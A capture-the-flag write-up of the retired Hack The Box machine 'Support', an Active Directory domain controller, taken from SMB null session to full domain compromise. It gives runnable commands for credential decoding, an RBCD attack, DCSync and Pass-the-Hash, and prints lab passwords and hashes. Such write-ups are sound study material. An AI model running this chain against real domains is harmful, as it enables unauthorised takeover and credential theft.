root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat support.md
// writeups

Support

30 Jul 2022 · 16 min read
Support - maquina de Hack The Box

Executive summary — Support is an Active Directory domain controller (Windows) solved by chaining credential leaks: an SMB share reachable via null session exposes an internal .NET tool with embedded, obfuscated LDAP credentials; those credentials let us read the info attribute of the support user (its cleartext password), and a GenericAll relationship over the DC's own machine object enables an RBCD attack that ends in DCSync and Pass-the-Hash as Administrator. A SMB → .NET → LDAP → RBCD → DCSync → Root path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.33.20

Attack map

[SMB]  null session / Guest enabled
   │  smbclient -N -L → share "support-tools"
   ▼
[.NET]  UserInfo.exe → embedded LDAP credentials (XOR)
   │  ilspycmd → decompile → decode → support\ldap
   ▼
[LDAP]  authenticated bind → "info" attribute
   │  cleartext password of the  support  user
   ▼
[BloodHound]  Shared Support Accounts → GenericAll over DC$
   │  RBCD: addcomputer + rbcd write + getST (S4U2Self/Proxy)
   ▼
[DCSync]  secretsdump → Administrator NTLM hash
   │  Pass-the-Hash (wmiexec)
   ▼
[ROOT]  Administrator → user.txt & root.txt

1. Reconnaissance

We start by mapping the whole surface with a full nmap scan (all ports, default scripts and version detection):

nmap -sC -sV -p- --min-rate 3000 -oN nmap_10.129.33.20.txt 10.129.33.20

Result (summary):

53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: support.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  ncacn_http
636/tcp   open  tcpwrapped     (LDAPS)
3268/tcp  open  ldap           (Global Catalog)
3269/tcp  open  tcpwrapped     (GC SSL)
5985/tcp  open  http           WinRM
9389/tcp  open  mc-nmf         .NET Message Framing (AD Web Services)
49664+    open  msrpc          (dynamic RPC ports)
Service Info: Host: DC; OS: Windows

Analysis: the port set —DNS (53), Kerberos (88), LDAP (389/636/3268), SMB (445), WinRM (5985) and AD Web Services (9389)— is the classic Domain Controller profile for Active Directory. The domain is support.htb and the DC host is DC.

We register the domain and the DC hostname in /etc/hosts so Kerberos and LDAP resolve by name:

echo "10.129.33.20 support.htb dc.support.htb DC.support.htb DC" | sudo tee -a /etc/hosts

2. SMB enumeration

Before writing SMB off, we check whether it accepts a null session (unauthenticated access) or the Guest user:

nxc smb 10.129.33.20 -u '' -p ''
# [*] Windows Server 2022 Build 20348 x64 (name:DC) (domain:support.htb) (Null Auth:True)

nxc smb 10.129.33.20 -u 'a' -p ''
# [+] support.htb\a: (Guest)

Why it matters: a null session or an active Guest lets us list shares and enumerate domain objects with no credentials at all — a real entry vector even on a modern DC (Windows Server 2022).

With the null session confirmed, we list the shares:

smbclient -N -L //10.129.33.20/
Sharename       Type      Comment
---------       ----      -------
ADMIN$          Disk      Remote Admin
C$              Disk      Default share
IPC$            IPC       Remote IPC
NETLOGON        Disk      Logon server share
support-tools   Disk      support staff tools
SYSVOL          Disk      Logon server share

The support-tools share (comment «support staff tools») is non-standard and reachable without credentials: that's the entry point. We pull its contents recursively:

smbclient -N //10.129.33.20/support-tools -c "recurse ON; prompt OFF; mget *"

Alongside well-known portable installers (7-Zip, Notepad++, PuTTY, SysinternalsSuite, WinDirStat, Wireshark) there is a file that isn't a public tool: UserInfo.exe.zip.

3. UserInfo.exe binary analysis

We unzip it and identify the file type:

unzip UserInfo.exe.zip -d userinfo
file userinfo/UserInfo.exe
# PE32 executable ... Intel i386 Mono/.Net assembly

It's a .NET assembly: a command-line tool to query Active Directory over LDAP. The usual pattern in these internal utilities is to carry embedded service credentials inside the binary itself.

We decompile it with ilspycmd (a dotnet tool):

dotnet tool install -g ilspycmd --version 7.2.1.6856   # the "latest" version needs net10, incompatible with the local SDK 6.0
export PATH="$PATH:/home/kali/.dotnet/tools"
ilspycmd -p -o decompiled UserInfo.exe

In UserInfo.Services/Protected.cs we find the obfuscated service password and the routine that deciphers it:

private static string enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E";
private static byte[] key = Encoding.ASCII.GetBytes("armando");

public static string getPassword()
{
    byte[] array = Convert.FromBase64String(enc_password);
    for (int i = 0; i < array.Length; i++)
        array[i] = (byte)((uint)(array[i] ^ key[i % key.Length]) ^ 0xDF);
    return Encoding.Default.GetString(array);
}

And in UserInfo.Services/LdapQuery.cs we see which account it binds with:

string password = Protected.getPassword();
entry = new DirectoryEntry("LDAP://support.htb", "support\ldap", password);

What getPassword() does: it Base64-decodes the string and applies a two-layer XOR to every byte — first against the repeating key armando, then against the constant 0xDF—. The result is the cleartext password of the support\ldap service account, used by the tool for read-only LDAP binds.

4. Decoding the credentials

We reimplement that same two-layer XOR in Python to recover the password without running the binary:

import base64
enc = '0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E'
key = b'armando'
arr = bytearray(base64.b64decode(enc))
out = bytearray((arr[i] ^ key[i % len(key)]) ^ 0xDF for i in range(len(arr)))
print(out.decode('latin-1'))

Result:

nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz

We validate the ldap credentials against SMB and LDAP:

nxc smb 10.129.33.20 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
nxc ldap 10.129.33.20 -u 'ldap' -p 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz'
# [+] support.htb\ldap:nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz  (both OK)

5. Authenticated LDAP enumeration — the info attribute

With valid credentials we can now query attributes that weren't visible anonymously. The info attribute (a notes field) is a common hiding place for passwords left there by operational mistake, so we dump it along with description:

ldapsearch -x -H ldap://10.129.33.20 -D "support\ldap" \
    -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
    -b "DC=support,DC=htb" "(objectClass=user)" sAMAccountName info description

Hit:

dn: CN=support,CN=Users,DC=support,DC=htb
info: Ironside47pleasure40Watchful

The support user stores its own cleartext password in the info attribute of its AD object. We verify it:

nxc smb 10.129.33.20 -u 'support' -p 'Ironside47pleasure40Watchful'
# [+] support.htb\support:Ironside47pleasure40Watchful   (valid)

6. User flag

The support account has its own flag on the DC. It's retrieved once we have Administrator access (see Pass-the-Hash below), reading the file directly:

type C:\Users\support\Desktop\user.txt
4271eca618fb91337dcd8c0e9e402278

7. BloodHound collection

With the support credentials we collect the whole domain to look for escalation paths:

bloodhound-python -u support -p 'Ironside47pleasure40Watchful' -d support.htb \
    -ns 10.129.33.20 -c All -o bh_output --zip

Instead of looking only at the «obvious» object, we filter every ACE in the dump for those granted to the group support belongs to (Shared Support Accounts, RID 1103):

import json, glob
target = 'S-1-5-21-1677581083-3380853377-188903654-1103'
for f in glob.glob('*.json'):
    d = json.load(open(f))
    for obj in d.get('data', []):
        for ace in obj.get('Aces', []) or []:
            if ace.get('PrincipalSID') == target:
                print(f, obj['Properties'].get('name'), ace)

Key result:

bh_output_..._computers.json -> DC.SUPPORT.HTB {'RightName': 'GenericAll', 'PrincipalSID': '...-1103', 'PrincipalType': 'Group'}

The piece that changes everything: the Shared Support Accounts group has GenericAll over the machine object of the Domain Controller itself (DC.SUPPORT.HTB). Full control over a computer account is exploitable via Resource-Based Constrained Delegation (RBCD): it lets us write the DC's msDS-AllowedToActOnBehalfOfOtherIdentity attribute and authorize an attacker-controlled machine account to impersonate any user (Administrator included) against the DC's services.

8. RBCD attack

Step 1 — create our own machine account. By default ms-DS-MachineAccountQuota lets any authenticated user create up to 10 computer accounts:

addcomputer.py -computer-name 'PWNED$' -computer-pass 'Passw0rd123!' \
    -dc-ip 10.129.33.20 'support.htb/support:Ironside47pleasure40Watchful'
# [*] Successfully added machine account PWNED$ with password Passw0rd123!.

Step 2 — configure RBCD delegation on the DC, abusing the group's GenericAll:

rbcd.py -delegate-from 'PWNED$' -delegate-to 'DC$' -dc-ip 10.129.33.20 \
    -action write 'support.htb/support:Ironside47pleasure40Watchful'
# [*] Delegation rights modified successfully!
# [*] PWNED$ can now impersonate users on DC$ via S4U2Proxy

Step 3 — obtain a service ticket impersonating Administrator (S4U2Self + S4U2Proxy):

getST.py -spn 'cifs/dc.support.htb' -impersonate 'Administrator' \
    -dc-ip 10.129.33.20 'support.htb/PWNED$:Passw0rd123!'
# [*] Saving ticket in Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache

Why it works: by controlling (GenericAll) the DC's machine object, we declare that our own computer account (PWNED$) may act on behalf of other identities against the DC. Kerberos then allows, via S4U2Self (get a ticket to ourselves on behalf of an arbitrary user) followed by S4U2Proxy (exchange it for a valid service ticket to the delegated resource, the DC itself), a fully valid Service Ticket as Administrator — without knowing its password or hash.

9. DCSync — dumping NTDS.DIT

With the Administrator ticket loaded into the Kerberos cache, we run DCSync to dump the domain hashes:

export KRB5CCNAME=Administrator@cifs_dc.support.htb@SUPPORT.HTB.ccache
secretsdump.py -k -no-pass -dc-ip 10.129.33.20 dc.support.htb

Result (excerpt):

Administrator:500:aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6303be52e22950b5bcb764ff2b233302:::
ldap:1104:...:b735f8c7172b49ca2b956b8015eb2ebe:::
support:1105:...:11fbaef07d83e3f6cde9f0ff98a3af3d:::
... (rest of the domain users)

We obtain Administrator's NTLM hash: bb06cbc02b39abeddd1335bc30b19e26.

10. Pass-the-Hash and root flag

With the NTLM hash we don't need the password: we authenticate as Administrator via Pass-the-Hash:

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26 \
    administrator@10.129.33.20 "whoami"
# support\administrator

And we read the root flag (and, now as Administrator, the support one too):

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:bb06cbc02b39abeddd1335bc30b19e26 \
    administrator@10.129.33.20 "type C:\Users\Administrator\Desktop\root.txt"
8487c2009027c3bdc50e6d56ca2aeec0

Domain Controller fully compromised. 🏴

Dead ends

Not every avenue paid off — worth recording what didn't work and why:

Attempted pathResultWhy it was discarded
Brute-force / default credentials against WinRM (5985)Not attempted directlyUnnecessary — full admin access was already obtained via RBCD + Pass-the-Hash
Anonymous LDAP query without a bindFailedThe server requires a successful bind before accepting searches (operationsError)
Direct GenericAll of Shared Support Accounts over the Domain object (expected up front, given the machine's "classic" pattern)Not found in this instanceACE analysis over the DOMAIN object showed no entry for the group; the real privilege was over the DC.SUPPORT.HTB computer object, not the domain — fixed by reviewing every BloodHound JSON instead of assuming the ACE's target

Vulnerability summary

PhaseComponentVulnerabilityImpact
EnumerationSMBNull session / Guest enabled; support-tools share reachable without credentialsDownload of the internal UserInfo.exe tool
Access.NET / UserInfo.exeLDAP service credentials embedded and XOR-obfuscatedValid support\ldap credentials
AccessActive Directory / LDAPCleartext password in the info attribute of the support usersupport user credentials
PrivEscDC ACL (Shared Support Accounts)GenericAll over the DC machine object → RBCDAdministrator impersonation (S4U2Self/Proxy)
PrivEscDomain replicationDCSync + Pass-the-HashExecution as Administrator (full compromise)

Lessons learned

  • SMB null session/Guest is still a real vector: always try smbclient -N -L and enumerate shares before writing SMB off, even on a modern DC.
  • Internal tools = embedded credentials: any custom executable found on an open share should be decompiled (ilspycmd, dnSpy, dotPeek) looking for hardcoded secrets. XOR obfuscation is not encryption: it reverses trivially.
  • The info/description attribute is a password hiding place: always dump these fields when enumerating LDAP with any valid credential, no matter how low-privileged.
  • Don't assume which object a privilege lands on: systematically analyze every ACE in the BloodHound dump. Here the GenericAll wasn't over the domain, but over the DC machine object.
  • GenericAll over a computer account = direct RBCD: control over a DC's object lets you escalate to that account without passwords (create machine account + write msDS-AllowedToActOnBehalfOfOtherIdentity + S4U2Self/Proxy). Consider setting ms-DS-MachineAccountQuota to 0.
  • Reusable Impacket chain: addcomputer.py → rbcd.py -action write → getST.py -impersonate → secretsdump.py -k is the standard RBCD exploitation pattern in AD with this ACL configuration.